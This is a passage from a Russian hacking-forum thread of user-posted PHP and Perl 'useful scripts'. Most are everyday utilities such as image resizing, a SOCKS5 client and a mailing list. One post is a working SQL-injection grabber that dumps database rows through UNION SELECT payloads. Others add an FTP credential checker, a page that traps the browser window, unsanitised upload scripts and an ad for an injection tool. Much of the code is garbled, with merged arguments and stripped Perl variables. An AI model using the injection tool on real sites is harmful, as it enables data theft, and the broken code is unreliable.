Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. $p01nt

    $p01nt Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    116
    Likes Received:
    20
    Reputations:
    1
    by $p01nt :)

    Программа парсит ссылки с search.icq.com и пишет их в файл

    Скачать

    Кому пригодилась - не забудте про плюсик ))
     
    2 people like this.
  2. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Была необходимость написать скрипт, который выводит email на картинке + создаёт эту картинку с учётом длины мейла.
    Что-то типа простой защиты от сборщиков емейлов).
    PHP:
    function protectmail($email){
        for(
    $i=0,$w=0$i strlen($email); $i++,$w+=15){
            
    $arr[$i] = substr($email$i1);
            
    $width $w;
        }
        
    $img imagecreate($width20);
        
    imagecolorallocate($imgmt_rand(230,255), mt_rand(230,255), mt_rand(230,255));
        
    $color imagecolorallocate ($img'''''');
        for(
    $i=0,$a=0$i strlen($email); $i++){
            
    $string imagecolorallocate($imgrand(0,250), rand(0,250), rand(0,250));
            
    imagestring($img3$a+=mt_rand(8,15), mt_rand(0,5), $arr[$i], $string);
        }    
        return 
    imagegif($img);
    }
    PHP:
    header('Content-type: image/gif');
    echo 
    protectmail('[email protected]');
     
    1 person likes this.
  3. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14
    Скрипт изменяет размер изображения

    PHP:

    <?php
    $w
    =160//новая ширина 
    $h=120//новая высота 
    $i='1.jpg';
    $i='images/'.$i//путь к изображению

     
    $left=0//задаём смещение слева
     
    $top=0//задаём смещение сверху
      
      
    $size getimagesize($i); // получаем информацию о исходном изображении
      
       
      
    $sw=$size['0']; //исходная ширина  
      
    $sh=$size['1'];  //исходная высота 
      
    $k1=$sw/$w;  //коэффициент отношения ширины   
      
    $k2=$sh/$h;  //коэффициент отношения высоты   
      
    $e=$w/$h//коэффициент отношения новой ширины и высоты   
      
    $se=$sw/$sh//коэффициент отношения исходной ширины и высоты  
      
    $m=$se/$e//поправочный коэффициент 


      
    if($w>=$h)
      {
      
    $sh=$h*$k1
      
      if(
    $e<$se)   
      {
      
    $sw=$sw/$m
      
    $sh=$sh/$m
      
    $left=($size['0']-$sw)/2;
      }
      
    $top=($size['1']-$sh)/2;
      }
      
      else
      {
      
    $sw=$w*$k2;
     
      if(
    $e>$se)   
      {
      
    $sw=$sw*$m
      
    $sh=$sh*$m
      
    $top=($size['1']-$sh)/2;
      }  
      
    $left=($size['0']-$sw)/2;
      }
     
      
      
    $image imagecreatetruecolor($w,$h); //создаём пустое новое изображение
      
    $s imagecreatefromjpeg($i); //считываем изображение из jpeg файла
      
    imagecopyresampled ($image$s00$left$top$w$h$sw$sh); //изменяем размер изображения

      
    header("Content-type: image/png");
      
    imagepng($image);//выводим новое изображение в формате png

      
    imagedestroy($image); //освобождаем память
      
    imagedestroy($s); //освобождаем память

    ?>    


    Делал как-то галерею, нужно было как-то привести все изображения к одному размеру.

    Преимущество этого скрипта в том, что он учитывает пропорцию исходного изображения. Картинки не искажаются при любых исходных и конечных размерах и размер изображения в итоге получается строго в заданных $w и $h. Кому не лень, поэксперементируйте. Все скрипты аналоги в нете, которые я нашёл работают немного подругому, не приводя размер изображения к заданному, игнорируя либо ширину либо высоту.

    Пользуйтесь ;)
     
    5 people like this.
  4. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    Brut_or_grabber_limit

    //////////////////////////////////////
    // Brut_or_grabber_limit
    // Coder By M!cr0b aka HakNet v1.0
    // icq: 532-415
    // Whack Team
    // www.forum.whack.ru
    //////////////////////////////////////

    Brut_or_grabber_limit

    Даной скрипт перебирает инэкцию через лимит и сохраняет в файл "save.txt.gz".

    Вобше ищо есть несколько функций.. но для етого вам придеса самим заюзать скрипт... ;)

    Так как скрипт написаной мной, ридми по используванию есть на украинском, переводом страдать я нехочу так что юзайте http://pereklad.online.ua

    Скачать скрипт с ридми: http://webfile.ru/2175298

    или сам скрип:

    PHP:
    <?
    //////////////////////////////////////
    // Coder By M!cr0b aka HakNet v1.0    //
    //        icq: 532-415            //
    //         Whack Team            //
    //         forum.whack.ru        //
    //////////////////////////////////////
    ?>
    <html>
    <META http-equiv=Content-Type content="text/html; charset=windows-1251">
    <head><title></title> 
    <style>
    body{
        margin:200 150;
        background: #666;
        font: normal 13px Arial, Helvetica, sans-serif;
        color: #666;
    }
    table,td{ 
        border : 1px dashed #444444; 
        background-color : #F4F4F4; 
        font : 12px courier new; 
        color : #888888; 

    input,select{
        background-color: #000000; 
        font:8pt verdana;
        text-align:left; 
        color: #669666; 

    </style>
    <body>
    <table>
        <tr>
            <td>
            <form method="post">
            1. <a href="readme.txt">ReadMe</a><br>
            2. Count: <input type="type" name="count" size="5"><input type='checkbox' onChange="if(this.checked){document.all.start.disabled=false;}else{document.all.start.disabled=true;}">yes<br>
            3. Url:&nbsp;&nbsp;&nbsp;<input type="type" name="url" value="http://coder/mysqltools/testing_injection/index.php?i=-1+union+select+1,concat(0x2b7c,categor,0x7c2b),3,4+from+categors" size="135">
            <select name="Z">
            <option value="">null</option>
            <option selected value="/*">/*</option>
            <option value="--">--</option>
            </select>
            <center><input type="submit" name="start" disabled="disabled" value="Старт" style="cursor:pointer">
            </form>
            <br><br>
            <form method="POST">
            <input type="submit" name="musor" value="Очистка" style="cursor:pointer"></center>
            </form>
            </td>
        </tr>
        <tr>
            <td>
    <?php
    system
    ('tar -cvf save.txt.tar Z:\home\coder\www\mysqltools\Brut_or_grabber_limit');
    if(
    $_POST['start']){
    $count=$_POST['count'];
    $url=$_POST['url'];
    $Z=$_POST['Z'];
    $fp=gzopen("save.txt.tar""w9"); 
        for(
    $i=0;$i<$count;$i++){ // скільіки разів повторювати цикл вибірки
        
    $input=@file_get_contents("".$url."+LIMIT+".$i.",1".$Z."");
        
    gzwrite ($fp$input);
        }
    gzclose ($fp);
    echo 
    "<font color='#669666'><center>Для очищення спочтку розпакуйте файл <b>save.txt.gz</b></center></font>";
    }

    if(
    $_POST['musor']){
    $input=@file_get_contents("save.txt");
        
    $oprede "+|";
        
    $oprede2 "|+";
        
    preg_match_all('|'.preg_quote($oprede'/').'.*'.preg_quote($oprede2'/').'|s',$input,$out);
        
    $sd explode($oprede2,$out[0][0]);
        
    $cnt count($sd);
    $zapis=fopen("good.txt""a+"); 
        for (
    $i=0;$i<$cnt-1;$i++) {
        
    preg_match_all('|'.preg_quote($oprede'/').'.*|s',$sd[$i],$out1);
        
    $str str_replace($oprede,"",$out1[0][0]);
        
    fwrite($zapis$str."\n");
        }
    fclose ($zapis);
    echo 
    "<font color='#669666'><center>Очищено вдало. Перевірити: <a href='good.txt'><b>good.txt</b></a></center</font>";
    }
    ?>
    </body>
            </td>
        </tr>
    </table>
     
    #404 Micr0b, 21 Aug 2008
    Last edited: 21 Aug 2008
    1 person likes this.
  5. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Работ через соксы

    Работ через socks

    PHP:
    <?
    /**
     * Class for work using SOCKS5 protocol.
     * Copyright by Elw00d
     * В данный момент поддерживаются лишь исходящие TCP-соединения с socks5-сервером, не требующим авторизации
     */
    class socks5
    {
        var 
    $ip;
        var 
    $port;
        var 
    $socket;
        var 
    $socket_timeout;
        var 
    $connected// есть ли установленное соединение ЧЕРЕЗ сокс с удаленным хостом

        // конструктор — инициализирует переменные класса, но никуда не подключается
        
    function socks5($ip$port$timeout 3000)
        {
            
    $this->socket 0;
            
    $this->socket_timeout $timeout;
            
    $this->ip $ip;
            
    $this->port $port;
            
    $this->connected false;
            return 
    true;
        }

        
    // подключение к сокс-серверу (только socks5)
        // авторизация user/pass не поддерживается
        // timeout — в миллисекундах
        // возвращает true/false в зависимости от успеха операции
        
    function socks5_init()
        {
            if (
    $this->socket = @pfsockopen($this->ip$this->port$errno$errstr$this->
                
    socket_timeout 1000)) {
                
    fwrite($this->socketpack("C3"0x050x010x00));
                
    $answer "";
                
    stream_set_timeout($this->socket0$this->socket_timeout);
                do {
                    
    $buf = @fread($this->socket1024);
                    
    $socket_status stream_get_meta_data($this->socket);
                    if (
    $buf && !$socket_status['timed_out'])
                        
    $answer .= $buf;
                    if (
    $socket_status['eof']) {
                        
    $this->socket 0;
                        return 
    false// сервер закрыл коннект
                    
    }
                } while (
    strlen($answer) < 2);
                
    $response = @unpack("Cver/Cmethod"$answer);
                if (
    $response["ver"] == 0x05 and $response["method"] == 0x00)
                    return 
    true;
                
    fclose($this->socket);
                
    $this->socket 0;
            }
            return 
    false;
        }

        
    // установка TCP-соединения с хостом через сокс-сервер
        // после успешного соединения флаг $this->connected устанавливается в true
        // возвращает true/false
        
    function socks5_connect($host$port)
        {
            if (
    $this->socket) {
                if (
    ip2long($host) == -1)
                    
    fwrite($this->socketpack("C5"0x050x010x000x03strlen($host)) . $host .
                        
    pack("n"$port));
                else
                    
    fwrite($this->socketpack("C4Nn"0x050x010x000x01ip2long(gethostbyname
                        
    ($host)), $port));
                
    $answer "";
                do {
                    
    $buf = @fread($this->socket1024);
                    
    $socket_status stream_get_meta_data($this->socket);
                    if (
    $buf && !$socket_status['timed_out'])
                        
    $answer .= $buf;
                    if (
    $socket_status['eof']) {
                        
    $this->socket 0;
                        return 
    false// сервер закрыл коннект
                    
    }
                } while (
    strlen($answer) < 4);
                
    $response = @unpack("Cversion/Cresult/Creg/Ctype/Lip/Sport"$answer);
                if (
    $response["version"] == 0x05 and $response["result"] == 0x00) {
                    
    $this->connected true;
                    return 
    true;
                }
            }
            return 
    false;
        }

        
    // позволяет получить дескриптор сокета соединения с сокс-сервером
        // после того, как соединение через сокс установлено, можно напрямую отправлять/принимать данные из этого сокета,
        // общаясь таким образом с удаленным хостом. Все выглядит так, как будто сокет соединен напрямую с целевым хостом.
        // Совет: пользоваться этой функцией с осторожностью, не вызывать напрямую fclose(), юзать метод socks5_closeconnection()
        // Вопрос: зачем эта функция, если она нарушает инкапсуляцию класса?
        // Ответ: да, это пренебрежение к канонам ООП, но зато делает удобной доработку существующих скриптов в сторону
        // соксификации. Вместо того, чтобы отлаживать ещё один слой ввода-вывода, легче дописать к скрипту процедурку
        // инициализации соединения через сокс + добавочную обработку ошибок (специально для соксов), а потом просто получать
        // дескриптор сокета и не трогать исходные вызовы fread(), fwrite() или stream_set_timeout(). Если же необходимо
        // закрыть соединение, достаточно просто вместо fclose() вызвать socks5_closeconnection(). В том случае, если сокс
        // отваливается по таймауту, вообще не надо ничего менять, и разрыв коннекта интерпретируется скриптом по-старому.
        
    function socks5_getsocket()
        {
            return 
    $this->socket;
        }

        function 
    socks5_closeconnection()
        {
            
    //if ($this->socket)
            
    @fclose($this->socket);
            
    $this->connected false;
            
    $this->socket 0;
        }
    }
    ?>
    Использование

    PHP:
    <?php
    set_time_limit
    (0);

        include(
    "socks.class.php");
        
        
    $server_name "whatismyip.com";
        
    $server_port 80
        
    $socks = new socks5("127.0.0.1"33142);
        
    $socks->socks5_init();
        if (
    $socks->socks5_connect($server_name$server_port)) {
            
            
    // формируем запрос ,который будет отправлен, через сокс, серверу
            
    $head "GET / HTTP/1.0\r\n";
            
    $head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\r\n";
            
    $head .= "Host: www.whatismyip.com\r\n";
            
    $head .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
            
    $head .= "Accept-Language: ru,en;q=0.9\r\n";
            
    $head .= "Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
            
    $head .= "Proxy-Connection: close\r\n\r\n";
            
            
    fwrite($socks->socks5_getsocket(),$head);
            
    // считываем ответ HTTP-сервера через SOCKS-сервер до конца =)
            
    while(!feof($socks->socks5_getsocket()))
            {
            
    $l=fread($socks->socks5_getsocket(),1024);
            echo 
    $l;
            }
            
        }
    ?>
     
    #405 Doom123, 25 Aug 2008
    Last edited: 25 Aug 2008
  6. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    Функция получения страницы через сокеты.
    Параметры:

    $site - адрес сайта без http .обязательный параметр.
    $page - адрес страницы сайта .обязательный параметр.
    $isheaders=false - получать ли заголовки. по умолчанию выкл.
    $ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)' - браузер
    $ref='' - реферрер
    $cookie='' - печеньки
    $post='' - пост данные


    PHP:
    function get_page($site,$page,$isheaders=false,$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)',$ref='',$cookie='',$post='')
    {
    $page=trim($page);
    $site=trim($site);
    $socket fsockopen($site80$errno$errstr15);
    if (
    $socket){
        
        if (
    $post!=''){
            
    $send  "POST $page HTTP/1.0\r\n"
            
    $send .= "Content-Length: "strlen($post) ."\r\n";
            
    $send .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";    
        }  else 
    $send  "GET $page HTTP/1.0\r\n";
        
    $send .= "User-Agent: $ua\r\n";
        
    $send .= "Host: $site\r\n";
        
    $send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
        if(
    $ref!=''$send .= "Referer: $ref\r\n";
        if(
    $cookie!=''){
            
    $send .= "Cookie: $cookie\r\n";
            
    $send .= 'Cookie2: $Version=1'."\r\n";
        }
        
    $send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n";
        
    $send .= "Connection: close\r\n\r\n".$post;


        if(
    fputs($socket,$send)) { 
            if(!
    $isheaders) while(fgets($socket,1024)!="\r\n" && !feof($socket));
            
    $he="";
            while(!
    feof($socket)) $he.=fread($socket,10240);
        };
        
    fclose($socket);
    }
    return 
    $he;
    };
     
    1 person likes this.
  7. deniska1517

    deniska1517 Elder - Старейшина

    Joined:
    1 May 2008
    Messages:
    94
    Likes Received:
    70
    Reputations:
    -5
    определение даты и времени на сервере:

    PHP:
    <?php 
    $data 
    date('Y-m-d [H:i:s]'); 
    echo 
    "Текущая дата и время на сервере: $data";
    ?> 
     
  8. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    PHP:
    print md5($password);
    ???
     
  9. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Пример скипта загрузки файлов на сервер:
    PHP:
    <?php
    if ($HTTP_POST_VARS['submit'])
    {
        if (!
    is_uploaded_file($HTTP_POST_FILES['file']['tmp_name']))
        {
        
    $error "You did not upload a file!";
        
    unlink($HTTP_POST_FILES['file']['tmp_name']);
        
    // assign error message, remove uploaded file, redisplay form.
        
    }
        else
        {
        
    //A file was uploaded
        
    $maxfilesize=300000;
            if (
    $HTTP_POST_FILES['file']['size'] > $maxfilesize)
            {
                
    $error "File is too large.";
                
    unlink($HTTP_POST_FILES['file']['tmp_name']);
                
    // assign error message, remove uploaded file, redisplay form.
            
    }
            else
            {
                 
    //File has passed all validation, copy it to the final destination and remove the
    temporary file:
                 
    copy($HTTP_POST_FILES['file']['tmp_name'],$HTTP_POST_FILES['file']['name']);
                 
    unlink($HTTP_POST_FILES['file']['tmp_name']);
             print 
    "File has been successfully uploaded!";
                 exit;   
                }
          }
    }
    ?>

    <html>
    <head></head>
    <body>
    <form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
    <br><br>
    Choose a file to upload:<br>
    <input type="file" name="file"><br>
    <input type="submit" name="submit" value="submit">
    </form>
    </body>
    </html>
     
  10. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    FTP Account checker
    HTML:
    <html>
    <head>
    <style type="text/css">
    body {background-color: darkgray}
    </style>
    </head>
    <center>
    <form action="check.php" method="post"><br>
    Host:<input type="text" name="host"><br>
    User:<input type="text" name="user"><br>
    Pass:<input type="text" name="pw"><br>
    <br><input type="submit" value="Check" /></table><br>
    </form>
    <center/>
    check.php:
    PHP:
    <?php
    $host 
    $_POST["host"]; 
    $user $_POST["user"]; 
    $pass $_POST["pw"]; 
    $con ftp_connect($host) or die("cant connect"); 
    if (@
    ftp_login($id$user$pass)) {
        echo 
    "<font color=blue>Working!</font>";
    } else {
        echo 
    "<font color=red>Not working</font>";
    }

    ftp_close($con);  
    ?>
     
  11. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    SOCKS Proxy List Checker

    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use IO::Socket::INET;
    
    # SOCKS Proxy List Checker
    # Coded by sToRm
    # www.GoNullYourself.org
    #
    # Accepts proxy list in
    # 1.2.3.4:1111 format
    
    
    
    if ( @ARGV != 1 ) {
        print "Usage: $0 <file>\n";
        exit(1);
    }
    
    open(PROXIES, "<$ARGV[0]") or die($ARGV[0].' wasn\'t found');
    
    open(VALID, '>>valid.txt') or die('valid.txt isn\'t writable');
    
    my ($connectable, $unconnectable, $invalid) = (0, 0, 0);
    
    while(<PROXIES>) {
    
        chomp($_);
        
        my $line = $_;
        
        if ($line =~ /([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\:([0-9]){1,5}/) {
        
            my @proxy = split(/:/, $line);
            
            my $SOCK = IO::Socket::INET->new (
                PeerAddr => $proxy[0],
               PeerPort => $proxy[1],
               Timeout  => 2,
            );
            
            if ( $SOCK ) {
                print "[+] $line\n";
                print VALID $line."\n";
                ++$connectable;
            } else {
                print "[-] $line\n";
                ++$unconnectable;
            }
        } else {
            print "[-] $line is invalid\n";
            ++$invalid;
        }
    }
    
    my $total = $connectable + $unconnectable + $invalid;
    
    print "\nProxy list exhausted\n";
    print "Connectable:   $connectable\n";
    print "Unconnectable: $unconnectable\n";
    print "Invalid Lines: $invalid\n";
    print "Total Checked: $total\n";
    print "Working proxies saved to valid.txt\n";
     
    1 person likes this.
  12. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    омг, $HTTP_POST_VARS давно не рулит.
    Вот мой пример:

    PHP:
    <?php
    /*
      Пример загрузки файлов на сервер
    */
    #Дира для загруженных файлов
    $uploaddir '';
    #Разрешённые типы файлов (через запятую)
    $types 'jpeg,gif,png,rar,zip';
    #Максимальный размер файла (в килобайтах)
    $maxsize 100;

    if(!empty(
    $_FILES)){
        
    $maytypes explode(','str_replace(' '''$types));
        foreach(
    $maytypes as $maytype){
            if(
    stristr($_FILES['filename']['type'], $maytype)){
               
    $may 1;
               break;
            }else{
               
    $may 0;
            }
        }
        if(
    $may){
            if(
    $_FILES['filename']['size'] <= $maxsize*1024){
                
    $dir './'.$uploaddir.'/'.basename($_FILES['filename']['name']);
                if(
    copy($_FILES['filename']['tmp_name'], $dir)){
                    echo 
    'Файл успешно загружен.<br/>
                    Ссылка на файл: <a href="'
    .$uploaddir.'/'.$_FILES['filename']['name'].'">'.$_FILES['filename']['name'].'</a>';
                }else{
                    echo 
    'Возникли ошибки при загрузке файла';
                }
            }else{
                echo 
    'Размер файла превышает '.$maxsize.' килобайт';
            }
        }else{
            echo 
    'Тип файла не входит в состав разрешённых<br/>Разрешённые типы файлов: '.$types;
        }
    }
    ?>
    <form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data">
    <input name="filename" type="file" /><br />
    <input type="submit" value="Загрузить" />
    </form>
     
  13. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Название скрипта: SubsribleMaxGal
    Назначение: организация подписки на новости вашего сайта, вашу другую информацию. Теперь нет необходимости пользоваться бесплатными сервисами подписок, типа www.subscrible.ru и другие.
    Файлы :
    subscrible.html - это форма для регистрации нового подписчика
    subscrible.php - основной скрипт системы подписки
    usersnot.txt - файл с электронными адресами подписчиков не прошедших до конца регистрацию
    users.txt - подписчики, прошедшие регистрацию
    Использование:
    после того, как новый подписчик введет свой электронный адрес, ему будет отправлено письмо, в котором будет указана ссылка, по которой необходимо пройти, чтобы завершить регистрацию.
    Для входа в административную панель, необходимо в браузере загрузить subscrible.php
    Если это первый вход, вам будет предложено создать файл с паролем и логином, пароль шифруется внутренним алгоритмом php md5, что исключает возможность расшифровки.
    Далее думаю разберетесь.

    subscrible.html

    HTML:
    <html>
    <body>
    <form action=subscrible.php method=post>
    <b><center>Пожалуйста, введите Ваш e-mail:<input type=text size=15 name=email>
    <input type=submit value="Подписаться">
    </form>
    </body>
    </html>
    subscrible.php

    PHP:
    <?php

    if ( isset ($id) )
    {
    $data File ("users.txt");

    for (
    $i=0;$i<count($data);$i++) {
    $dat explode (":"$data[$i]);
    echo 
    "<center><table border=1 bgcolor=lightblue>";
    echo 
    "<tr><td><center>Email<td><center>Дата регистрации</tr>";
    echo 
    "<tr><td><center>$dat[0]<td><center>$dat[1]</tr></table><br>";
    }
    echo 
    "<a href=\"subscrible.php\">Назад</a>";
    exit;
    }

    if ( isset (
    $text) && isset ($subject) )
    {
    if (
    $text == "" OR $subject == "")
    {
    echo 
    "<b><center>Не указана тема или текст подписки !";
    echo 
    "<p><a href=\"subscrible.php\">Назад</a>";
    exit;
    }

    $data File ("users.txt");
    for (
    $i=0;$i<count($data);$i++) {
    $dt explode (":"$data[$i]);
    $to $dt[0];
    $text $text."\r\n\r\n\r\n --";
    mail ($to$subject$text);
    echo 
    "<center>$to -> отправлено<br>";
    }
    echo 
    "Рассылка успешно отправлена, спасибо за использование системы";
    exit;
    }

    if ( isset (
    $login) && isset ($password))
    {

    if ( ! 
    file_exists ("passwordad.txt") )
    {
    $password md5 ($password);
    $fp fopen ("passwordad.txt""w");
    fputs ($fp"$login:$password");
    fclose ($fp);
    echo 
    "<b><center><i>Вход для администратора подписок<p></i>";
    echo 
    "Файл с паролем создан успешно !<p>";
    echo 
    "<form action=subscrible.php method=post>";
    echo 
    "<table border=0 bgcolor=lightblue>";
    echo 
    "<tr><td>Login<td><input type=text size=15 name=login></tr>";
    echo 
    "<tr><td>Password<td><input type=text size=15 name=password></tr>";
    echo 
    "<tr><td colspan=2><center><input type=submit value=\"ВХОД\"></tr>";
    echo 
    "</table>";
    exit;
    }

    $data File ("passwordad.txt");
    $dat explode (":"$data[0]);
    $password md5 ("$password");
    if (
    $dat[0] == "$login&& $dat[1] == "$password")
    {
    $data File ("users.txt");
    echo 
    "<b><center><h2>Административная панель</h2><p>";
    echo 
    "Всего зарегистрировано подписчиков: ".count($data)."<p>";
    echo 
    "<br><a href=\"subscrible.php?id=1\">Посмотреть всех подписчиков</a><br>";
    if (
    count($data) == 0)
    {
    echo 
    "<b><center>Не кому делать рассылку !";
    exit;
    }
    echo 
    "<form action=subscrible.php method=post>";
    echo 
    "<input type=submit value=\"Разослать подписчикам\"<p>";
    echo 
    "<p>Укажите тему, которая будет подставляться в письмо при отправке информации подписчикам<br>";
    echo 
    "<p><input type=text size=20 name=subject>";
    echo 
    "<p>Введите в текстовое поле текст Вашей рассылки (можно указывать html-теги)<br>";
    echo 
    "<textarea name=text cols=85 rows=10></textarea>";
    echo 
    "</form>";
    exit;
    }

    }

    if ( ! isset (
    $email) && ! isset ($number) )
    {
    echo 
    "<b><center><i>Вход для администратора подписок<p></i>";
      if ( ! 
    file_exists ("passwordad.txt") )
      { echo 
    "Вы входите первый раз, сейчас будет создан файл с Вашим логином и паролем"; }
    echo 
    "<form action=subscrible.php method=post>";
    echo 
    "<table border=0 bgcolor=lightblue>";
    echo 
    "<tr><td>Login<td><input type=text size=15 name=login></tr>";
    echo 
    "<tr><td>Password<td><input type=text size=15 name=password></tr>";
    echo 
    "<tr><td colspan=2><center><input type=submit value=\"ВХОД\"></tr>";
    echo 
    "</table>";
    exit;
    }

    $data File ("usersnot.txt");

    if ( isset (
    $number) && isset ($email) )
    {

    for (
    $i=0;$i<count($data);$i++) {
    $dat explode (":"$data[$i]);
    if ( 
    $dat[0] == "$email&& $dat[1] == "$number\r\n")
    {
    $datemom date ("d F"time());
    $fp fopen ("users.txt""a");
    fputs ($fp"$email:$datemom\r\n");
    fclose ($fp);
    $fp fopen ("usersnot.txt","w");
    for (
    $f=0;$f<count($data);$f++) {
    $da explode (":"$data[$f]);
    if (
    $da[0] == $email)
    $data[$f] = trim (""); }
    fputs ($fp$data[$f]."\r\n"); 
    }
    fclose ($fp);

    echo 
    "<b><center>Спасибо за регистрацию !";
    exit;
    }
    }
    echo 
    "Не могу найти запись !";
    exit;
    }

    if ( isset (
    $email) )
    {

    $email substr ($email050);
    if ( ! 
    stristr ($email"@") )
    {
    echo 
    "<b><center>Указан неверный e-mail !";
    exit;
    }
    $data File ("users.txt");
    for (
    $i=0;$i<count($data);$i++) {
    $dat explode (":"$data[$i]);
    if (
    $dat[0] == "$email")
    {
    echo 
    "На этот адрес уже произведена подписка !";
    exit;
    }
    }

    $randomess rand(9999999910000);
    $site "127.0.0.1/subscrible/subscrible.php";
    $to $email;
    $subject "Подтверждение подписки !";
    $message "Здравствуйте\r\nНа Ваш электронный адрес $email была произведена подписка с сайта $site\r\nДля подтверждения подписки пройдите по следующей ссылке: http://$site?email=$email&number=$randomess";
    mail ($to$subject$message) or print ("Не могу отправить письмо !");
    $fp fopen ("usersnot.txt""a");
    fputs ($fp"$email:$randomess\r\n");
    fclose ($fp);
    }

    ?>
    usersnot.txt , users.txt - пустые файлы
     
    1 person likes this.
  14. MONARH

    MONARH New Member

    Joined:
    13 Aug 2008
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    Может у кого есть рабочий скрипт, с вот такими функциями как тут ??? Все что выкладывалось ранее уже не работает.
     
  15. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    [PERL]Simple IRC Bot

    [PERL]Simple IRC Bot
    Code:
    use IO::Socket;
    
     = "irc.not-a-bot.net";
     = 1337;
     = "#test";
     = "perlbot";
    
     = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "", PeerPort => "") || die "Failed to connect to :\n";
    print  "NICK \r\n"; 
    print  "USER    \r\n";
    print  "JOIN \r\n";
    print  "PRIVMSG  :Hello\r\n";
    while(<>) {
    	print ;
    	if(/PING/) {
    		 = ;
    		 =~ s/PING/PONG/;
    		print  ;
    	} elsif(/PRIVMSG/) {
    		 = ;
    		 =~ s/\r\n//; # Remove \r\n
    		@tokens = split /:/, ; # Split line into tokens
    		@command = split / /, @tokens[1]; # Split second token (first is just blank in this case)
    		@message = split / /, @tokens[2]; # Split third token
    		@user = split /!/, @command[0]; # Split first command token, which is USERNAME!USERHOST
    		if( =~ m/.exit/) {
    			print  "PRIVMSG  :Exit command sent by  ()\r\n";
    			print  "QUIT :\r\n";
    			close ;
    		}
    		if( =~ m/.join/) {
    			print  "PRIVMSG  :Join command sent by  ()\r\n";
    			print  "JOIN \r\n";
    		}
    		if( =~ m/.msg/) {
    			print  "PRIVMSG  :Message command sent by  ()\r\n";
    			print  "PRIVMSG  :\r\n";
    		}
    	}
    }
     
  16. Sarkis

    Sarkis Elder - Старейшина

    Joined:
    23 Aug 2008
    Messages:
    20
    Likes Received:
    31
    Reputations:
    0
    Не дает закрвать окно.

    PHP:
    <html>
     <
    head>
       <
    title>Press ALT+F4</title>
     </
    head>

     <
    body onunload="goodBye()">
        <
    p align="center">
            <
    b>Yuo cant close your browser window</b>
        </
    p>
        <
    script language="JavaScript">
           <!--
              function 
    goodBye()
                {
    window.open("Cantclose.htm");}
           
    //-->
        
    </script>
        <p align="center">
           <b>Try Alt+F4!</b>
        </p>
     </body>
    </html>  
     
    1 person likes this.
  17. 5triker

    5triker Elder - Старейшина

    Joined:
    5 Apr 2007
    Messages:
    62
    Likes Received:
    41
    Reputations:
    1
    ну просто мега полезный скрипт , особенно када у большинсва яваскрипт вопще отключен
     
  18. Sarkis

    Sarkis Elder - Старейшина

    Joined:
    23 Aug 2008
    Messages:
    20
    Likes Received:
    31
    Reputations:
    0
    Позволяет узнать выставленную кодировку.

    PHP:
    <script>
     var 
    u=navigator.userAgent;
     if (
    u.indexOf("Win") != -1// Текст в 1251
        
    document.writeln ("Windows 1251");
     else if (
    u.indexOf("DOS") != -|| u.indexOf("OS/2") != -1// Текст в 866
        
    document.writeln("MS-DOS CP866");  // Текст в K018
        
    else document.writein "лПДЙТПЧЛБ KOI8-R"); 
    </script>
     
  19. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Sarkis, ну ты молодец, конечно!
    Дай угадаю! Следущий скрипт будет показывать последнее обновление страницы?
    https://forum.antichat.ru/showpost.php?p=216169&postcount=3
     
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    MySQL5tool

    Программа MySQL5tool предназначена для автоматизации процесса получения информации посредством SQL-Inject на сайтах под управлением MySQL5 и более поздних версий (т.е. там где присутствует information_schema) + для версий MySQL<5 при условии, что вам известны имя хотя бы одной таблицы и имя хотя бы одного поля из этой таблицы

    В комплекте 6 файлов:

    1. mysql5tool.exe - сама программа

